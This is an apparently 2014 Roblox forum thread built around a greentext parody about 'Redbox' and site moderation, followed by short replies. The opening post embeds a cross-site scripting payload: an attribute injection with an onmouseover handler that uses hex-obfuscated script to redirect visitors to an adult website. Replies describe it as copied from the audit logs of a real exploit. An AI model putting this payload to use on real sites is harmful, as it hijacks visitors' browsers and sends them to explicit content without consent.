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| 16 Nov 2014 02:44 AM |
>I loved Redbox so much >I owned all of it's movies and collectables >I pray to Redbox every night before bed, thanking it for the life I've been given >Redbox is love, Redbox is life >One night, ROBLOX sees me praying to Redbox >He 1Day bans me >I call ROBLOX bad, then spam the b1tsh1ft incident, knowing that ROBLOX is desperately trying to keep its reputation clean by DELETING PROBLEMS TO HIDE THEM INSTEAD OF ADDRESSING THEM >ROBLOX deletes my main account, then stealth IP bans me and denies IP bans exist >I'm looking at my ban reason, it's telling me not to discuss inappropriate topics on ROBLOX >Suddenly, I see a red light moving towards me >It's Redbox >I'm so happy >Redbox puts it's disk in my Console, and whispers through my sound system >"It's not Netflix" >I open my ears and eyes for Redbox >The movie begins to play >The sound system is at 100% volume >It hurts my ears, but I do it for Redbox >I want to please Redbox >I put a Redbox disk into every device in my house, and put them all at 100% volume >Suddenly, Redbox dishes out a mighty Wilhelm scream, and fills me with its 30 day trial coupons >Just then, ROBLOX walks in >Redbox looks him straight in the eye and says >"http://roblox.com/"style='font-family:"Impact";background-color:Red;font-size:1000px'onmouseover='_0x4706=["\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x6F\x6F\x70\x75\x73\x73\x79\x2E\x63\x6F\x6D"];window[_0x4706[1]][_0x4706[0]]=_0x4706[2];''" >Redbox then flys out of all of my devices and into it's Redbox vending machine down the street at the local Wal-Mart >Redbox is love, Redbox is life |
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| 16 Nov 2014 02:44 AM |
Oh damn...
\\|:TheLegendEmperor:|// - "Legends don't die, but they are born" - #GonnaGetHate |
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| 16 Nov 2014 02:45 AM |
| you idiots better appreciate the amount of work I put into this, plus I rolled quads/l4d for this post |
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| 16 Nov 2014 02:45 AM |
I loved it. But I'm not a idiot!
\\|:TheLegendEmperor:|// - "Legends don't die, but they are born" - #GonnaGetHate |
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| 16 Nov 2014 02:46 AM |
LOL DIED
the neighborhood hobo is here |
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NoNewb
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| 16 Nov 2014 02:48 AM |
| Is the code a KL or legit? |
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| 16 Nov 2014 02:49 AM |
thats what they posted to make the box
the neighborhood hobo is here |
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| 16 Nov 2014 02:49 AM |
| it takes you to a pron link in the actual code, but this is just a copy and paste of the audit logs |
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ParaShock
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| 16 Nov 2014 02:50 AM |
i've been parashocked by this thread
- ♞ Para The Shocker |
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| 16 Nov 2014 02:51 AM |
I see what you did there.
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| 16 Nov 2014 02:53 AM |
| i feel this thread would be a whole lot more popular if the mods didnt chase out 3/4 of the population lol |
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HarrySG
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| 16 Nov 2014 03:05 AM |
one of the better threads
frigid is as cool as ice - harrysg 2014 |
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| 16 Nov 2014 03:07 AM |
risky post
this is my alt and is linked to the same email as this account l0l |
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| 16 Nov 2014 05:10 AM |
| lmao this rumor is so famous they made a parody version for the shrek story. |
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| 16 Nov 2014 08:53 AM |
>implying im multiple people |
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| 16 Nov 2014 09:01 AM |
| last night a bunch of people got B& for mentioning redbox |
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| 16 Nov 2014 09:19 AM |
| It's beautiful. great work on this masterpiece |
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| 16 Nov 2014 09:32 AM |
"knowing that ROBLOX is desperately trying to keep its reputation clean by DELETING PROBLEMS TO HIDE THEM INSTEAD OF ADDRESSING THEM"
Sums up everything from the OT C&G Flame War last night, just deleted every post instead of coming coming out and speaking to us. |
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